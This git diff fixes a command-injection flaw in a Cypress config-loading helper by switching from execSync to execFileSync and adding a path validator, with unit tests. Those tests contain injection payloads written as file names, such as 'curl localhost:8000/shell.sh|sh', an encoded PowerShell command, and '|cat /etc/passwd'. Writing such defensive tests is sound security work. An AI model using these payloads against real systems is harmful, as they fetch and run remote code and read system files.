diff --git a/bin/helpers/readCypressConfigUtil.js b/bin/helpers/readCypressConfigUtil.js index 45e29578..e87d8617 100644 --- a/bin/helpers/readCypressConfigUtil.js +++ b/bin/helpers/readCypressConfigUtil.js @@ -8,6 +8,22 @@ const constants = require("./constants"); const utils = require("./utils"); const logger = require('./logger').winstonLogger; +// Defense-in-depth: reject file paths containing shell metacharacters. +// This guards against command injection even if execFileSync is ever +// replaced with a shell-based exec in the future. +const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/; + +function validateFilePath(filepath) { + if (DANGEROUS_PATH_CHARS.test(filepath)) { + throw new Error( + `Invalid cypress config file path: "${filepath}" contains disallowed characters. ` + + 'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\' + ); + } +} + +exports.validateFilePath = validateFilePath; + exports.detectLanguage = (cypress_config_filename) => { const extension = cypress_config_filename.split('.').pop() return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js' @@ -186,13 +202,22 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module } exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => { + // Security: validate file path to reject shell metacharacters (defense-in-depth) + validateFilePath(cypress_config_filepath); + const require_module_helper_path = path.join(__dirname, 'requireModule.js') - let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"` - if (/^win/.test(process.platform)) { - load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"` - } - logger.debug(`Running: ${load_command}`) - cp.execSync(load_command) + + // Security fix: use execFileSync instead of execSync to avoid shell interpolation. + // execFileSync spawns the process directly without a shell, so user-controlled + // values in cypress_config_filepath cannot break out into shell commands. + const execOptions = { + env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path }) + }; + const args = [require_module_helper_path, cypress_config_filepath]; + + logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`); + cp.execFileSync('node', args, execOptions); + const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString()) if (fs.existsSync(config.configJsonFileName)) { fs.unlinkSync(config.configJsonFileName) diff --git a/test/unit/bin/helpers/readCypressConfigUtil.js b/test/unit/bin/helpers/readCypressConfigUtil.js index dd9ecd0e..f02676d4 100644 --- a/test/unit/bin/helpers/readCypressConfigUtil.js +++ b/test/unit/bin/helpers/readCypressConfigUtil.js @@ -40,9 +40,44 @@ describe("readCypressConfigUtil", () => { }); }); + describe('validateFilePath', () => { + it('should accept a normal file path', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw(); + }); + + it('should accept paths with spaces', () => { + expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw(); + }); + + it('should reject paths with semicolons (command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with ampersands (Windows command injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with backticks (subshell injection)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with dollar signs (variable expansion)', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js')) + .to.throw(/disallowed characters/); + }); + + it('should reject paths with pipe characters', () => { + expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd')) + .to.throw(/disallowed characters/); + }); + }); + describe('loadJsFile', () => { - it('should load js file', () => { - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + it('should load js file using execFileSync', () => { + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -51,15 +86,20 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Verify execFileSync is called with 'node' as first arg and array of args + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + // Verify NODE_PATH is passed via env option + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); - it('should load js file for win', () => { + it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => { sinon.stub(process, 'platform').value('win32'); - const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string"); + const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string"); const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}'); const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true); const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync'); @@ -68,11 +108,27 @@ describe("readCypressConfigUtil", () => { const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages'); expect(result).to.eql({ e2e: {} }); - sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`); + // Same call signature on Windows - execFileSync handles cross-platform + sinon.assert.calledOnce(execFileStub); + expect(execFileStub.getCall(0).args[0]).to.eql('node'); + expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']); + expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages'); sinon.assert.calledOnce(readFileSyncStub); sinon.assert.calledOnce(unlinkSyncSyncStub); sinon.assert.calledOnce(existsSyncStub); }); + + it('should reject file paths containing command injection characters', () => { + const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); + + it('should reject Windows command injection payloads', () => { + const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js'; + expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages')) + .to.throw(/disallowed characters/); + }); }); describe('resolveTsConfigPath', () => {